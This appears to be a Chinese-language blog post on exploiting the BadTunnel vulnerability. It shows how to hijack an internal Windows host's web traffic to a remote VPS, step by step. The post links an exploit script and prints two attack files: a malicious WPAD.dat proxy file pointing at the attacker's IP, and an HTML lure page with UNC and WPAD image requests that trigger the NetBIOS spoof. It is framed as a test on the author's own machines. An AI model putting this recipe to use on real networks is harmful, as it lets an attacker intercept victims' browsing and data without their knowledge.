BadTunnel利用之远程劫持任意内网主机流量

最近貌似这个漏洞挺火的 作为一个安全从业者我们先还是把重心放在漏洞本身吧 客观来讲 这个漏洞确实挺严重的 因为影响的范围很广

大部分的争论都是集中在WPAD协议的利用姿势方面 而忽略的最核心的点 'Tunnel'顾名思义即隧道 而这个漏洞的精髓就是靠的这个Tunnel 使得劫持任意网段主机流量成为可能 关于漏洞的起因我就不多说了 drop里的文章已经说的很详细了

下面模拟下真实的远程内网劫持攻击

测试环境:本地一台内网windows主机 + 远程一台阿里云VPS

测试目标:本地用浏览器打开构造好的网页后 完成将本地网络流量劫持到远程的VPS主机上

说下具体的攻击步骤:

1 本地主机

本地不要做任何设置 只要保证IE浏览器的自动检测代理为默认开启就行
看下本地的环境吧

主机通过无线路由上网 处于内网之中

BadTunnel利用之远程劫持任意内网主机流量

2 远程主机

VPS上也不用做其他设置 只要准备两个文件就行了

第一个文件当然是 利用代码 我已经写好了

在这里https://github.com/T3rry7f/BadTunnel_exp

第二个文件就是 WPAD.dat 文件 内容大概如下:

function FindProxyForURL(url, host) {
// URLs within this network are accessed directly
if (isInNet(host, "127.0.0.1", "255.255.255.0"))
{
return "DIRECT";
}
return "PROXY x.x.x.x:8080; DIRECT";
}

其中x.x.x.x 为VPS的外网IP 将配置好的文件上传到Web服务器的 根目录下

对了 为了顺利的劫持流量 还要准备一个 http代理脚本 这个我就不贴了 网上一大堆

然后 分别运行攻击脚本和代理脚本

3 流量劫持

所有的准备工作已完成 下面就是用浏览器打开 构造好的html文件 其实文件的内容很简单 贴下吧

<html><img src="\\x.x.x.x\BadTunnel">

<img src="http://WPAD/wpad.dat">

</html>

其中x.x.x.x 为VPS的公网IP

浏览器本地打开网页
BadTunnel利用之远程劫持任意内网主机流量       接下来我们看看VPS上的反应

我们看到攻击脚本检测到了请求 并发送了伪造的数据包BadTunnel利用之远程劫持任意内网主机流量

有兴趣的同学可以自己用WireShark抓包看看数据包的交互过程

我们先本地查下看Netbois缓存记录

发现NetBois的缓存已经被成功写入BadTunnel利用之远程劫持任意内网主机流量

到了这里说明攻击已经成功了 我们打开浏览器验证下

查下IP 发现显示为VPS的地址BadTunnel利用之远程劫持任意内网主机流量

美食家

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: